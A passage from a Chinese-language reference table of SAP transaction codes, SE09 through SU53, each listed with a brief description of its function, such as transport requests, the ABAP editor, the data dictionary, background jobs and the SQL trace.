传递传输请求(同一服务器的不同client) |
SE09 |
传输请求操作 |
SE10 |
同SE09 |
SE11 |
维护ABAP数据字典 |
SE12 |
显示数据字典 |
SE13|SE14|SE15 |
数据字典相关 |
SE16|SE17 |
查看表数据 |
SE30 |
ABAP运行分析 |
SE32 |
ABAP文本元素维护 |
SE35 |
ABAP/4对话框编程维护 |
SE36 |
维护逻辑数据库 |
SE37 |
维护Function module |
SE38 |
ABAP 编辑器 |
SE39 |
程序比较 |
SE41 |
菜单制作器 |
SE43 |
应用区菜单(相同功能tcode组成一area menu) |
SE51 |
屏幕绘制器 |
SE54 |
生成表的维护视图,然后SE16|SM30可直接维护表数据 |
SE61 |
文档维护 |
SE63 |
翻译 |
SE71->SE76 |
SAPscript相关 Tcode |
SE80 |
ABAP库 |
SE81 |
ABAP应用层次 |
SE84|SE85|SE86 |
ABAP/4 Repository Information System |
SE91 |
建立消息类和消息 |
SE92 |
维护系统Log消息 |
SE93 |
给程序维护Tcode |
SEU |
Repository Object Browser |
SHD0 |
维护Tcode运行变式(Variant) |
SM04 |
查看当前用户 |
SM12 |
删除显示Locked objects(不可删除被lock的传输请求) |
SM21 |
Dump log查看 |
SM30|SM31 |
维护table|view数据 |
SM32 |
维护表 |
SM35 |
查看Batch input session(建立BDC使用SHDB) |
SM36 |
定义后台job |
SM37 |
查看后台job |
SM50 |
Process Overview |
SM51 |
Display system servers, processes, etc. |
SM62 |
Display/Maintain events in SAP |
ST05 |
SQL等跟踪,使用它可跟踪程序使用的表等. |
SU53 |
检查授权对象,如出现权限问题可使用 |